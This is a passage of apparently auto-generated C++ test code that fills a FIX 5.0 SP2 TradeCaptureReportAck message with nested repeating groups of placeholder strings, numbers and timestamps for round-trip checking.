set_field(msg, FIX::StrikeCurrency{\"JPY\"}, Instrument_98);\n  FIX::StrikeMultiplier StrikeMultiplier_98;\n  StrikeMultiplier_98.setString(\"19614758\");\nset_field(msg, StrikeMultiplier_98, Instrument_98);\n  FIX::StrikePrice StrikePrice_98;\n  StrikePrice_98.setString(\"10669821\");\nset_field(msg, StrikePrice_98, Instrument_98);\n  set_field(msg, FIX::StrikePriceBoundaryMethod{4}, Instrument_98);\n  FIX::StrikePriceBoundaryPrecision StrikePriceBoundaryPrecision_98;\n  StrikePriceBoundaryPrecision_98.setString(\"20.460000\");\nset_field(msg, StrikePriceBoundaryPrecision_98, Instrument_98);\n  set_field(msg, FIX::StrikePriceDeterminationMethod{1}, Instrument_98);\n  FIX::StrikeValue StrikeValue_98;\n  StrikeValue_98.setString(\"16296758\");\nset_field(msg, StrikeValue_98, Instrument_98);\n  set_field(msg, FIX::Symbol{\"STRING_867660877\"}, Instrument_98);\n  set_field(msg, FIX::SymbolSfx{\"STRING_WI\"}, Instrument_98);\n  set_field(msg, FIX::TimeUnit{\"STRING_Mo\"}, Instrument_98);\n  set_field(msg, FIX::UnderlyingPriceDeterminationMethod{2}, Instrument_98);\n  set_field(msg, FIX::UnitOfMeasure{\"STRING_Bbl\"}, Instrument_98);\n  FIX::UnitOfMeasureQty UnitOfMeasureQty_98;\n  UnitOfMeasureQty_98.setString(\"10972666\");\nset_field(msg, UnitOfMeasureQty_98, Instrument_98);\n  set_field(msg, FIX::ValuationMethod{\"STRING_EQTY\"}, Instrument_98);\n  all_values.push_back(Instrument_98);\n  all_compo_names.insert(\".\");\n\n  // ComplexEvents\n  // Group ComplexEvents.NoComplexEvents\n  {\n    FIX50SP2::TradeCaptureReportAck::NoComplexEvents noComplexEvents_0_0;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_200;\n    set_field(noComplexEvents_0_0, FIX::ComplexEventCondition{1}, ComplexEvents_NoComplexEvents_200);\n    FIX::ComplexEventPrice ComplexEventPrice_200;\n    ComplexEventPrice_200.setString(\"2861812\");\nset_field(noComplexEvents_0_0, ComplexEventPrice_200, ComplexEvents_NoComplexEvents_200);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventPriceBoundaryMethod{1}, ComplexEvents_NoComplexEvents_200);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_200;\n    ComplexEventPriceBoundaryPrecision_200.setString(\"7.090000\");\nset_field(noComplexEvents_0_0, ComplexEventPriceBoundaryPrecision_200, ComplexEvents_NoComplexEvents_200);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventPriceTimeType{3}, ComplexEvents_NoComplexEvents_200);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventType{5}, ComplexEvents_NoComplexEvents_200);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_200;\n    ComplexOptPayoutAmount_200.setString(\"8881939\");\nset_field(noComplexEvents_0_0, ComplexOptPayoutAmount_200, ComplexEvents_NoComplexEvents_200);\n    all_values.push_back(ComplexEvents_NoComplexEvents_200);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates noComplexEventDates_0_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_406;\n      set_field(noComplexEventDates_0_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(18, 52, 36, 22, 4, 2005)}, ComplexEventDates_NoComplexEventDates_406);\n      set_field(noComplexEventDates_0_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(7, 56, 8, 14, 11, 2000)}, ComplexEventDates_NoComplexEventDates_406);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_406);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_816;\n        set_field(noComplexEventTimes_0_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(10, 47, 49)}, ComplexEventTimes_NoComplexEventTimes_816);\n        set_field(noComplexEventTimes_0_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(3, 24, 22)}, ComplexEventTimes_NoComplexEventTimes_816);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_816);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_0.addGroup(noComplexEventTimes_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_0_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_817;\n        set_field(noComplexEventTimes_0_0_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(5, 9, 57)}, ComplexEventTimes_NoComplexEventTimes_817);\n        set_field(noComplexEventTimes_0_0_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(5, 8, 30)}, ComplexEventTimes_NoComplexEventTimes_817);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_817);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_0.addGroup(noComplexEventTimes_0_0_2_1);\n      }\n      noComplexEvents_0_0.addGroup(noComplexEventDates_0_1_0);\n    }\n    msg.addGroup(noComplexEvents_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoComplexEvents noComplexEvents_0_1;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_201;\n    set_field(noComplexEvents_0_1, FIX::ComplexEventCondition{2}, ComplexEvents_NoComplexEvents_201);\n    FIX::ComplexEventPrice ComplexEventPrice_201;\n    ComplexEventPrice_201.setString(\"14275516\");\nset_field(noComplexEvents_0_1, ComplexEventPrice_201, ComplexEvents_NoComplexEvents_201);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventPriceBoundaryMethod{5}, ComplexEvents_NoComplexEvents_201);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_201;\n    ComplexEventPriceBoundaryPrecision_201.setString(\"84.500000\");\nset_field(noComplexEvents_0_1, ComplexEventPriceBoundaryPrecision_201, ComplexEvents_NoComplexEvents_201);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventPriceTimeType{1}, ComplexEvents_NoComplexEvents_201);\n    set_field(noComplexEvents_0_1, FIX::ComplexEventType{3}, ComplexEvents_NoComplexEvents_201);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_201;\n    ComplexOptPayoutAmount_201.setString(\"12024376\");\nset_field(noComplexEvents_0_1, ComplexOptPayoutAmount_201, ComplexEvents_NoComplexEvents_201);\n    all_values.push_back(ComplexEvents_NoComplexEvents_201);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates noComplexEventDates_1_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_407;\n      set_field(noComplexEventDates_1_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(17, 15, 26, 20, 5, 2009)}, ComplexEventDates_NoComplexEventDates_407);\n      set_field(noComplexEventDates_1_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(2, 43, 28, 15, 3, 2009)}, ComplexEventDates_NoComplexEventDates_407);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_407);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_1_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_818;\n        set_field(noComplexEventTimes_1_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(6, 10, 23)}, ComplexEventTimes_NoComplexEventTimes_818);\n        set_field(noComplexEventTimes_1_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(16, 23, 44)}, ComplexEventTimes_NoComplexEventTimes_818);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_818);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_1_1_0.addGroup(noComplexEventTimes_1_0_2_0);\n      }\n      noComplexEvents_0_1.addGroup(noComplexEventDates_1_1_0);\n    }\n    msg.addGroup(noComplexEvents_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoComplexEvents noComplexEvents_0_2;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_202;\n    set_field(noComplexEvents_0_2, FIX::ComplexEventCondition{2}, ComplexEvents_NoComplexEvents_202);\n    FIX::ComplexEventPrice ComplexEventPrice_202;\n    ComplexEventPrice_202.setString(\"17152643\");\nset_field(noComplexEvents_0_2, ComplexEventPrice_202, ComplexEvents_NoComplexEvents_202);\n    set_field(noComplexEvents_0_2, FIX::ComplexEventPriceBoundaryMethod{5}, ComplexEvents_NoComplexEvents_202);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_202;\n    ComplexEventPriceBoundaryPrecision_202.setString(\"6.590000\");\nset_field(noComplexEvents_0_2, ComplexEventPriceBoundaryPrecision_202, ComplexEvents_NoComplexEvents_202);\n    set_field(noComplexEvents_0_2, FIX::ComplexEventPriceTimeType{3}, ComplexEvents_NoComplexEvents_202);\n    set_field(noComplexEvents_0_2, FIX::ComplexEventType{3}, ComplexEvents_NoComplexEvents_202);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_202;\n    ComplexOptPayoutAmount_202.setString(\"3218846\");\nset_field(noComplexEvents_0_2, ComplexOptPayoutAmount_202, ComplexEvents_NoComplexEvents_202);\n    all_values.push_back(ComplexEvents_NoComplexEvents_202);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates noComplexEventDates_2_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_408;\n      set_field(noComplexEventDates_2_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(6, 27, 59, 26, 12, 2003)}, ComplexEventDates_NoComplexEventDates_408);\n      set_field(noComplexEventDates_2_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(17, 38, 6, 5, 5, 2003)}, ComplexEventDates_NoComplexEventDates_408);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_408);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_2_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_819;\n        set_field(noComplexEventTimes_2_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(9, 49, 45)}, ComplexEventTimes_NoComplexEventTimes_819);\n        set_field(noComplexEventTimes_2_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(17, 8, 39)}, ComplexEventTimes_NoComplexEventTimes_819);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_819);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_2_1_0.addGroup(noComplexEventTimes_2_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_2_0_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_820;\n        set_field(noComplexEventTimes_2_0_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(1, 30, 46)}, ComplexEventTimes_NoComplexEventTimes_820);\n        set_field(noComplexEventTimes_2_0_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(15, 14, 34)}, ComplexEventTimes_NoComplexEventTimes_820);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_820);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_2_1_0.addGroup(noComplexEventTimes_2_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_2_0_2_2;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_821;\n        set_field(noComplexEventTimes_2_0_2_2, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(8, 2, 35)}, ComplexEventTimes_NoComplexEventTimes_821);\n        set_field(noComplexEventTimes_2_0_2_2, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(5, 30, 16)}, ComplexEventTimes_NoComplexEventTimes_821);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_821);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_2_1_0.addGroup(noComplexEventTimes_2_0_2_2);\n      }\n      noComplexEvents_0_2.addGroup(noComplexEventDates_2_1_0);\n    }\n    msg.addGroup(noComplexEvents_0_2);\n  }\n  // EvntGrp\n  // Group EvntGrp.NoEvents\n  {\n    FIX50SP2::TradeCaptureReportAck::NoEvents noEvents_0_0;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_191;\n    set_field(noEvents_0_0, FIX::EventDate{\"LOCALMKTDATE_493203600\"}, EvntGrp_NoEvents_191);\n    FIX::EventPx EventPx_191;\n    EventPx_191.setString(\"371739\");\nset_field(noEvents_0_0, EventPx_191, EvntGrp_NoEvents_191);\n    set_field(noEvents_0_0, FIX::EventText{\"STRING_1837624488\"}, EvntGrp_NoEvents_191);\n    set_field(noEvents_0_0, FIX::EventTime{FIX::UTCTIMESTAMP(5, 18, 27, 10, 8, 2011)}, EvntGrp_NoEvents_191);\n    set_field(noEvents_0_0, FIX::EventType{18}, EvntGrp_NoEvents_191);\n    all_values.push_back(EvntGrp_NoEvents_191);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoEvents noEvents_0_1;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_192;\n    set_field(noEvents_0_1, FIX::EventDate{\"LOCALMKTDATE_1312759384\"}, EvntGrp_NoEvents_192);\n    FIX::EventPx EventPx_192;\n    EventPx_192.setString(\"4725825\");\nset_field(noEvents_0_1, EventPx_192, EvntGrp_NoEvents_192);\n    set_field(noEvents_0_1, FIX::EventText{\"STRING_1021134036\"}, EvntGrp_NoEvents_192);\n    set_field(noEvents_0_1, FIX::EventTime{FIX::UTCTIMESTAMP(7, 7, 29, 13, 3, 2013)}, EvntGrp_NoEvents_192);\n    set_field(noEvents_0_1, FIX::EventType{1}, EvntGrp_NoEvents_192);\n    all_values.push_back(EvntGrp_NoEvents_192);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoEvents noEvents_0_2;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_193;\n    set_field(noEvents_0_2, FIX::EventDate{\"LOCALMKTDATE_252914310\"}, EvntGrp_NoEvents_193);\n    FIX::EventPx EventPx_193;\n    EventPx_193.setString(\"15716217\");\nset_field(noEvents_0_2, EventPx_193, EvntGrp_NoEvents_193);\n    set_field(noEvents_0_2, FIX::EventText{\"STRING_41479694\"}, EvntGrp_NoEvents_193);\n    set_field(noEvents_0_2, FIX::EventTime{FIX::UTCTIMESTAMP(18, 43, 28, 22, 7, 2016)}, EvntGrp_NoEvents_193);\n    set_field(noEvents_0_2, FIX::EventType{13}, EvntGrp_NoEvents_193);\n    all_values.push_back(EvntGrp_NoEvents_193);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_2);\n  }\n  // InstrumentParties\n  // Group InstrumentParties.NoInstrumentParties\n  {\n    FIX50SP2::TradeCaptureReportAck::NoInstrumentParties noInstrumentParties_0_0;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_188;\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyID{\"STRING_1531934605\"}, InstrumentParties_NoInstrumentParties_188);\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyIDSource{'1'}, InstrumentParties_NoInstrumentParties_188);\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyRole{372133073}, InstrumentParties_NoInstrumentParties_188);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_188);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_0_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_379;\n      set_field(noInstrumentPartySubIDs_0_1_0, FIX::InstrumentPartySubID{\"STRING_972688191\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_379);\n      set_field(noInstrumentPartySubIDs_0_1_0, FIX::InstrumentPartySubIDType{1698154200}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_379);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_379);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_0.addGroup(noInstrumentPartySubIDs_0_1_0);\n    }\n    msg.addGroup(noInstrumentParties_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoInstrumentParties noInstrumentParties_0_1;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_189;\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyID{\"STRING_317912262\"}, InstrumentParties_NoInstrumentParties_189);\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyIDSource{'1'}, InstrumentParties_NoInstrumentParties_189);\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyRole{863429937}, InstrumentParties_NoInstrumentParties_189);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_189);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_1_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_380;\n      set_field(noInstrumentPartySubIDs_1_1_0, FIX::InstrumentPartySubID{\"STRING_398662157\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_380);\n      set_field(noInstrumentPartySubIDs_1_1_0, FIX::InstrumentPartySubIDType{652136140}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_380);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_380);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_1.addGroup(noInstrumentPartySubIDs_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_1_1_1;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_381;\n      set_field(noInstrumentPartySubIDs_1_1_1, FIX::InstrumentPartySubID{\"STRING_214835650\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_381);\n      set_field(noInstrumentPartySubIDs_1_1_1, FIX::InstrumentPartySubIDType{1685211144}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_381);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_381);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_1.addGroup(noInstrumentPartySubIDs_1_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_1_1_2;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_382;\n      set_field(noInstrumentPartySubIDs_1_1_2, FIX::InstrumentPartySubID{\"STRING_183719821\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_382);\n      set_field(noInstrumentPartySubIDs_1_1_2, FIX::InstrumentPartySubIDType{86772356}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_382);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_382);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_1.addGroup(noInstrumentPartySubIDs_1_1_2);\n    }\n    msg.addGroup(noInstrumentParties_0_1);\n  }\n  // SecAltIDGrp\n  // Group SecAltIDGrp.NoSecurityAltID\n  {\n    FIX50SP2::TradeCaptureReportAck::NoSecurityAltID noSecurityAltID_0_0;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_197;\n    set_field(noSecurityAltID_0_0, FIX::SecurityAltID{\"STRING_1927549304\"}, SecAltIDGrp_NoSecurityAltID_197);\n    set_field(noSecurityAltID_0_0, FIX::SecurityAltIDSource{\"STRING_602228476\"}, SecAltIDGrp_NoSecurityAltID_197);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_197);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_0);\n  }\n  // SecurityXML\n  multiset<string> SecurityXML_196;\n  set_field(msg, FIX::SecurityXML{\"XMLDATA_945180288\"}, SecurityXML_196);\n  set_field(msg, FIX::SecurityXMLLen{1351687364}, SecurityXML_196);\n  set_field(msg, FIX::SecurityXMLSchema{\"STRING_643708170\"}, SecurityXML_196);\n  all_values.push_back(SecurityXML_196);\n  all_compo_names.insert(\"..\");\n\n  // PositionAmountData\n  // Group PositionAmountData.NoPosAmt\n  {\n    FIX50SP2::TradeCaptureReportAck::NoPosAmt noPosAmt_0_0;\n    // PositionAmountData.NoPosAmt\n    multiset<string> PositionAmountData_NoPosAmt_18;\n    FIX::PosAmt PosAmt_18;\n    PosAmt_18.setString(\"17606965\");\nset_field(noPosAmt_0_0, PosAmt_18, PositionAmountData_NoPosAmt_18);\n    set_field(noPosAmt_0_0, FIX::PosAmtType{\"STRING_CMTM\"}, PositionAmountData_NoPosAmt_18);\n    set_field(noPosAmt_0_0, FIX::PositionCurrency{\"STRING_1203864493\"}, PositionAmountData_NoPosAmt_18);\n    all_values.push_back(PositionAmountData_NoPosAmt_18);\n    all_compo_names.insert(\"...NoPosAmt\");\n\n    msg.addGroup(noPosAmt_0_0);\n  }\n  // RootParties\n  // Group RootParties.NoRootPartyIDs\n  {\n    FIX50SP2::TradeCaptureReportAck::NoRootPartyIDs noRootPartyIDs_0_0;\n    // RootParties.NoRootPartyIDs\n    multiset<string> RootParties_NoRootPartyIDs_13;\n    set_field(noRootPartyIDs_0_0, FIX::RootPartyID{\"STRING_1301831048\"}, RootParties_NoRootPartyIDs_13);\n    set_field(noRootPartyIDs_0_0, FIX::RootPartyIDSource{'2'}, RootParties_NoRootPartyIDs_13);\n    set_field(noRootPartyIDs_0_0, FIX::RootPartyRole{296629478}, RootParties_NoRootPartyIDs_13);\n    all_values.push_back(RootParties_NoRootPartyIDs_13);\n    all_compo_names.insert(\"...NoRootPartyIDs\");\n\n    // RootSubParties\n    // Group RootSubParties.NoRootPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_0_1_0;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_27;\n      set_field(noRootPartySubIDs_0_1_0, FIX::RootPartySubID{\"STRING_1811559719\"}, RootSubParties_NoRootPartySubIDs_27);\n      set_field(noRootPartySubIDs_0_1_0, FIX::RootPartySubIDType{1461956975}, RootSubParties_NoRootPartySubIDs_27);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_27);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_0.addGroup(noRootPartySubIDs_0_1_0);\n    }\n    msg.addGroup(noRootPartyIDs_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoRootPartyIDs noRootPartyIDs_0_1;\n    // RootParties.NoRootPartyIDs\n    multiset<string> RootParties_NoRootPartyIDs_14;\n    set_field(noRootPartyIDs_0_1, FIX::RootPartyID{\"STRING_1872057515\"}, RootParties_NoRootPartyIDs_14);\n    set_field(noRootPartyIDs_0_1, FIX::RootPartyIDSource{'1'}, RootParties_NoRootPartyIDs_14);\n    set_field(noRootPartyIDs_0_1, FIX::RootPartyRole{287161519}, RootParties_NoRootPartyIDs_14);\n    all_values.push_back(RootParties_NoRootPartyIDs_14);\n    all_compo_names.insert(\"...NoRootPartyIDs\");\n\n    // RootSubParties\n    // Group RootSubParties.NoRootPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_1_1_0;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_28;\n      set_field(noRootPartySubIDs_1_1_0, FIX::RootPartySubID{\"STRING_1358779278\"}, RootSubParties_NoRootPartySubIDs_28);\n      set_field(noRootPartySubIDs_1_1_0, FIX::RootPartySubIDType{1812173287}, RootSubParties_NoRootPartySubIDs_28);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_28);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_1.addGroup(noRootPartySubIDs_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_1_1_1;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_29;\n      set_field(noRootPartySubIDs_1_1_1, FIX::RootPartySubID{\"STRING_138674357\"}, RootSubParties_NoRootPartySubIDs_29);\n      set_field(noRootPartySubIDs_1_1_1, FIX::RootPartySubIDType{1790458}, RootSubParties_NoRootPartySubIDs_29);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_29);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_1.addGroup(noRootPartySubIDs_1_1_1);\n    }\n    msg.addGroup(noRootPartyIDs_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoRootPartyIDs noRootPartyIDs_0_2;\n    // RootParties.NoRootPartyIDs\n    multiset<string> RootParties_NoRootPartyIDs_15;\n    set_field(noRootPartyIDs_0_2, FIX::RootPartyID{\"STRING_63351796\"}, RootParties_NoRootPartyIDs_15);\n    set_field(noRootPartyIDs_0_2, FIX::RootPartyIDSource{'7'}, RootParties_NoRootPartyIDs_15);\n    set_field(noRootPartyIDs_0_2, FIX::RootPartyRole{216626108}, RootParties_NoRootPartyIDs_15);\n    all_values.push_back(RootParties_NoRootPartyIDs_15);\n    all_compo_names.insert(\"...NoRootPartyIDs\");\n\n    // RootSubParties\n    // Group RootSubParties.NoRootPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_2_1_0;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_30;\n      set_field(noRootPartySubIDs_2_1_0, FIX::RootPartySubID{\"STRING_974530318\"}, RootSubParties_NoRootPartySubIDs_30);\n      set_field(noRootPartySubIDs_2_1_0, FIX::RootPartySubIDType{303398464}, RootSubParties_NoRootPartySubIDs_30);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_30);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_2.addGroup(noRootPartySubIDs_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_2_1_1;\n      // 